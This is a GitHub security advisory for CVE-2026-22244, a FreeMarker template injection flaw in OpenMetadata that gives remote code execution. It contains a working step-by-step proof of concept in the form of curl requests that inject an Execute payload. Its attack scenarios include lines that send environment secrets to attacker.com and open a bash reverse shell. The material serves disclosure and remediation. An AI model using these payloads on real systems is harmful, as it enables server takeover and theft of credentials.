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OpenMetadata's Server-Side Template Injection (SSTI) in FreeMarker email templates leads to RCE

High severity GitHub Reviewed Published Jan 7, 2026 in open-metadata/OpenMetadata • Updated Jan 8, 2026

Package

maven org.open-metadata:platform (Maven)

Affected versions

< 1.11.4

Patched versions

1.11.4

Description

OpenMetadata RCE Vulnerability - Proof of Concept

Executive Summary

CRITICAL Remote Code Execution vulnerability confirmed in OpenMetadata v1.11.2 via Server-Side Template Injection (SSTI) in FreeMarker email templates.

Vulnerability Details

1. Root Cause

File: openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java

Lines 35-45 contain unsafe FreeMarker template instantiation:

public Template getTemplate(String templateName) throws IOException {
    EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);
    String template = emailTemplate.getTemplate(); // ← USER-CONTROLLED CONTENT FROM DATABASE
    
    if (nullOrEmpty(template)) {
        throw new IOException("Template content not found for template: " + templateName);
    }
    
    return new Template(
        templateName, 
        new StringReader(template),  // ← RENDERS UNTRUSTED TEMPLATE
        new Configuration(Configuration.VERSION_2_3_31)); // ← UNSAFE: NO SECURITY RESTRICTIONS!
}

Missing Security Controls:

  • ❌ No setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER) - Allows arbitrary class instantiation
  • ❌ No setAPIBuiltinEnabled(false) - Enables ?api built-in for reflection
  • ❌ No input validation - Template content not sanitized

2. Attack Vector (VERIFIED)

Step 1: Attacker with Admin role modifies EmailTemplate via PATCH endpoint

PATCH /api/v1/docStore/{templateId}
Authorization: Bearer <admin_jwt_token>
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/data/template",
    "value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()><p>RCE: ${ ex(\"whoami\") }</p>"
  }
]

Step 2: Malicious template stored in MySQL database:

SELECT name, JSON_EXTRACT(json, '$.data.template') 
FROM docstore 
WHERE name = 'account-activity-change';

-- Returns: <#assign ex=\"freemarker.template.utility.Execute\"?new()>...

Step 3: Trigger template rendering via email notification:

  • Password change
  • User invitation
  • Account activity notification
  • Test email (if SMTP configured)

Step 4: RCE execution in DefaultTemplateProvider.getTemplate():

Template template = templateProvider.getTemplate("account-activity-change");
template.process(model, stringWriter); // ← COMMAND EXECUTES HERE AS SERVER USER!

Exploit Verification

Environment

  • Version: OpenMetadata 1.11.2 (Latest)
  • Platform: Docker Compose (MySQL 8.0 + Elasticsearch 8.11.4)
  • Test Date: December 15, 2025

Step-by-Step Reproduction

1. Deploy OpenMetadata 1.11.2

cd docker
./run_local_docker.sh -m no-ui -d mysql

Result: ✅ OpenMetadata running on localhost:8585

2. Obtain Admin JWT Token

export NO_PROXY=localhost,127.0.0.1
TOKEN=$(curl -s -X POST http://localhost:8585/api/v1/users/login \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"YWRtaW4="}' \
  | grep -o '"accessToken":"[^"]*' | cut -d'"' -f4)

echo "Token: ${TOKEN:0:50}..."

Result: ✅ Token obtained (654 characters, 1-hour expiry)

3. Identify Target Template

# Get testMail template ID (used by test email endpoint)
curl -s "http://localhost:8585/api/v1/docStore?entityType=EmailTemplate" \
  -H "Authorization: Bearer $TOKEN" \
  | jq -r '.data[] | select(.name=="testMail") | .id'

Result: ✅ Template ID: 855f58c6-1b80-467a-b92e-71c425e9bfdb

4. Inject RCE Payload

curl -X PATCH "http://localhost:8585/api/v1/docStore/855f58c6-1b80-467a-b92e-71c425e9bfdb" \
  -H "Content-Type: application/json-patch+json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '[{
    "op": "replace",
    "path": "/data/template",
    "value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}"
  }]'

Result: ✅ HTTP 200 OK - Template modified successfully

Response Excerpt:

{
  "id": "855f58c6-1b80-467a-b92e-71c425e9bfdb",
  "name": "testMail",
  "entityType": "EmailTemplate",
  "data": {
    "template": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}"
  },
  "changeDescription": {
    "fieldsUpdated": [
      {
        "name": "data",
        "oldValue": "{\"template\":\"<!DOCTYPE HTML ...ORIGINAL_TEMPLATE...\"}",
        "newValue": "{\"template\":\"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>RCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"}"
      }
    ]
  }
}

5. Setup SMTP Server

# Start MailDev SMTP server (catches emails for verification)
docker run -d --name fakesmtp \
  --network linhln31_default \
  -p 1025:1025 -p 1080:1080 \
  maildev/maildev:latest

# Update OpenMetadata SMTP configuration
docker exec om_mysql mysql -uopenmetadata_user -popenmetadata_password \
  -Dopenmetadata_db -e "UPDATE openmetadata_settings 
  SET json=JSON_SET(json, 
    '$.serverEndpoint', 'fakesmtp', 
    '$.serverPort', 1025, 
    '$.transportationStrategy', 'SMTP',
    '$.enableSmtpServer', true,
    '$.senderMail', '[email protected]'
  ) 
  WHERE configType='emailConfiguration';"

# Restart OpenMetadata to load new SMTP config
docker restart om_server
sleep 50  # Wait for server startup

Result: ✅ SMTP server ready at fakesmtp:1025

6. Trigger RCE Execution

curl -X PUT "http://localhost:8585/api/v1/system/email/test" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"email":"[email protected]"}'

Result: ✅ HTTP 200 OK - "Test Email Sent Successfully."

7. Verify RCE Execution

# Check email content in MailDev
docker exec fakesmtp cat /tmp/maildev-1/*.eml | tail -10

Result: ✅ RCE CONFIRMED!

Email Content:

Date: Mon, 15 Dec 2025 17:03:20 +0000 (GMT)
From: [email protected]
To: [email protected]
Message-ID: <1307498173.2.1765818200564@62a9f8b5b6f2>
Subject: OpenMetadata : Test Email
MIME-Version: 1.0
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

RCE OUTPUT: openmetadata
 - /opt/openmetadata

Command Execution Proof:

  • ✅ whoami command executed → returned openmetadata
  • ✅ pwd command executed → returned /opt/openmetadata
  • ✅ Commands ran as server process user
  • ✅ Full arbitrary command execution achieved

Attack Scenarios

Scenario 1: Privilege Escalation

  1. Attacker compromises Admin account (phishing, credential stuffing, etc.)
  2. Injects RCE payload into password-reset template
  3. Triggers password reset for target user
  4. RCE executes as OpenMetadata server user during email rendering
  5. Attacker gains shell access to application server

Scenario 2: Data Exfiltration

<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("cat /proc/self/environ | curl -X POST https://attacker.com/exfil -d @-")}

Exfiltrates environment variables containing:

  • Database credentials
  • API keys and secrets
  • JWT signing keys
  • Cloud provider credentials

Scenario 3: Reverse Shell

<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")}

Establishes persistent access for:

  • Interactive command execution
  • Lateral movement to connected systems
  • Database direct access
  • Kubernetes cluster compromise (if containerized)

Impact Assessment

Technical Impact

  • Confidentiality: HIGH - Access to database credentials, API keys, secrets
  • Integrity: HIGH - Full control over OpenMetadata application and data
  • Availability: HIGH - Ability to crash application, delete data, deny service

Business Impact

  • Data Breach: Access to all metadata including sensitive schema information, PII mappings, data lineage
  • Compliance: GDPR, SOC2, HIPAA violations if exploited
  • Reputation: Critical security failure in data governance platform
  • Supply Chain: Potential pivot to connected data sources (70+ connectors)

CVSS 3.1 Score

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L) - Simple API requests
  • Privileges Required (PR): High (H) - Admin role required
  • User Interaction (UI): None (N)
  • Scope (S): Changed (C) - Impacts beyond application (server OS)
  • Confidentiality (C): High (H)
  • Integrity (I): High (H)
  • Availability (A): High (H)

Score: 9.1 (CRITICAL)

Remediation

Immediate Fix (CRITICAL)

File: openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java

Replace lines 38-42 with:

public Template getTemplate(String templateName) throws IOException {
    EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);
    String template = emailTemplate.getTemplate();
    
    if (nullOrEmpty(template)) {
        throw new IOException("Template content not found for template: " + templateName);
    }
    
    // SECURITY FIX: Create sandboxed FreeMarker configuration
    Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
    
    // Block dangerous built-ins
    cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
    cfg.setAPIBuiltinEnabled(false);
    cfg.setClassicCompatible(false);
    
    // Restrict template loading
    cfg.setTemplateLoader(new StringTemplateLoader());
    
    return new Template(templateName, new StringReader(template), cfg);
}

References

@tutte tutte published to open-metadata/OpenMetadata Jan 7, 2026
Published to the GitHub Advisory Database Jan 7, 2026
Reviewed Jan 7, 2026
Published by the National Vulnerability Database Jan 8, 2026
Last updated Jan 8, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required High
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(63rd percentile)

Weaknesses

Improper Neutralization of Special Elements Used in a Template Engine

The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine. Learn more on MITRE.

CVE ID

CVE-2026-22244

GHSA ID

GHSA-5f29-2333-h9c7

Source code

Credits

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